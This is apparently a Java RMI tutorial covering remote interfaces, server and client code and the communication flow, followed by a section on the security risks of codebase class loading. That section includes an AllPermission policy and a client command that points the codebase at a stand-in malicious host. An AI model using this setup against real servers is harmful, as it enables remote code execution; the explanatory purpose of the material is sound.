What is RMI?

Remote Method Invocation (RMI) is a Java-native mechanism that enables method calls between different JVM processes. Unlike generic RPC frameworks, RMI is purpose-built for Java environments, allowing objects in one virtual machine to invoke methods on objects residing in another JVM across the network.

The communication backbone of RMI relies on JRMP (Java Remote Message Protocol), a Java-specific protocol that defines the contract between client and server during remote communication. Similar to how HTTP governs web traffic, JRMP establishes the rules that both endpoints must follow.

Why Use RMI?

RMI serves several important purposes in distributed application development:

1. Distributed Computing: RMI enables computation distribution across multiple machines, amplifying the system's overall processing capacity by leveraging networked resources.

2. Client-Server Architecture: The technology facilitates building server-side services that respond to requests from multiple concurrent clients over the network.

3. Object-Oriented Communication: Unlike traditional procedural RPC, RMI maintains object semantics, preserving encapsulation and allowing true object method invocations across process boundaries.

4. Horizontal Scalability: Applications can handle increased load by deplyoing additional server instances that register with the RMI registry.

5. Security Framework: RMI integrates with Java's security manager to control class loading and restrict potantially dangerous operations.

RMI Implementation Walkthrough

Creating a functional RMI application involves three core phases:

Defining the Remote Interface

The remote interface serves as the contract between client and server. Critical requirements include:

• The interface must be declared public
• It must directly extend java.rmi.Remote
• Every method must declare RemoteException in its throws clause
• Remote objects used as parameters or return values must be declared using the interface type, not the implementation class

public interface GreetingService extends Remote {
    String greet(String name) throws RemoteException;
}

Implementing the Service and Server

The implementation class must:

• Implement at least one remote interface
• Extend UnicastRemoteObject to enable network communication
• Provide a no-argument constructor that throws RemoteException

The server initialization requires:

• Installing a security manager to control dynamic class loading
• Instantiating the remote object
• Creating the RMI registry on port 1099
• Binding the service to a recognizable name

public class GreetingServiceImpl extends UnicastRemoteObject implements GreetingService {
    private static final long serialVersionUID = 867425390119L;

    public GreetingServiceImpl() throws RemoteException {
        super();
        System.out.println("Service instance created");
    }

    @Override
    public String greet(String name) throws RemoteException {
        System.out.println("Processing request for: " + name);
        return "Welcome, " + name;
    }
}

public class RMIServiceBootstrap {
    private void initialize() throws Exception {
        GreetingServiceImpl service = new GreetingServiceImpl();
        LocateRegistry.createRegistry(1099);
        Naming.rebind("rmi://0.0.0.0/GreetingService", service);
        System.out.println("Service registered and ready");
    }

    public static void main(String[] args) throws Exception {
        new RMIServiceBootstrap().initialize();
    }
}

Creating the Client

The client performs a lookup against the registry and obtains a reference to the remote object:

public class RMIClientApplication {
    public void requestGreeting() throws Exception {
        GreetingService stub = (GreetingService) Naming.lookup("rmi://192.168.1.100:1099/GreetingService");
        String response = stub.greet("Developer");
        System.out.println("Received: " + response);
    }

    public static void main(String[] args) throws Exception {
        new RMIClientApplication().requestGreeting();
    }
}

RMI Communication Flow

1. The server instantiates a remote object and binds it to rmi://host:port/ServiceName
2. The client locates the remote object via Naming.lookup()
3. The client invokes methods on the stub, triggering serialized "Call" messages over TCP
4. The server processes the request and returns serialized "ReturnData" to the client
5. The client deserializes the response and completes the method invocation

Security Implications of RMI

RMI introduces specific attack vectors related to dynamic class loading:

Local Class Loading Exploitation

When the registry or server uses local class loading to resolve unknown types, attackers can potentially inject malicious implementations. The list() and lookup() methods expose registered bindings that might contain vulnerable class instances capable of executing arbitrary code.

Remote Codebase Loading

Historically, Java applets utilized the codebase attribute to fetch bytecode from remote servers. RMI inherited this capability:

The codebase property functions as a remote classpath, directing the JVM to retrieve classes from HTTP or FTP locations when they cannot be found locally.

When a server receives a serialized object containing a codebase reference, it attempts to load missing classes from that remote location. This behavior enables attackers to supply arbitrary bytecode:

// Calculator remote interface
public interface Calculator extends Remote {
    int add(ArrayList<Integer> operands) throws RemoteException;
}

// Implementation
public class CalculatorImpl extends UnicastRemoteObject implements Calculator {
    public CalculatorImpl() throws RemoteException {}

    @Override
    public int add(ArrayList<Integer> operands) throws RemoteException {
        int result = 0;
        for (Integer value : operands) {
            result += value;
        }
        return result;
    }
}

// Server bootstrap with security manager
public class CalculatorServer {
    private void start() throws Exception {
        System.setProperty("java.rmi.server.hostname", "10.0.0.50");
        System.setSecurityManager(new SecurityManager());
        LocateRegistry.createRegistry(1099);
        Naming.rebind("CalculatorService", new CalculatorImpl());
    }

    public static void main(String[] args) throws Exception {
        new CalculatorServer().start();
    }
}

Security policy configuration:

grant {
    permission java.security.AllPermission;
};

Client exploit invocation:

java -Djava.rmi.server.useCodebaseOnly=false \
     -Djava.rmi.server.codebase=http://malicious.example.com/ \
     CalculatorClient

Conditions required for exploitation:

• A SecurityManager must be active on the target
• The target runs JDK versions prior to 7u21 or 6u45
• Alternatively, java.rmi.server.useCodebaseOnly must be explicitly set to false

Patch history: JDK 7u21 and 6u45 changed useCodebaseOnly default from false to true, preventing JVM from trusting codebase values in RMI payloads. Modern versions only accept pre-configured, trusted codebase locations.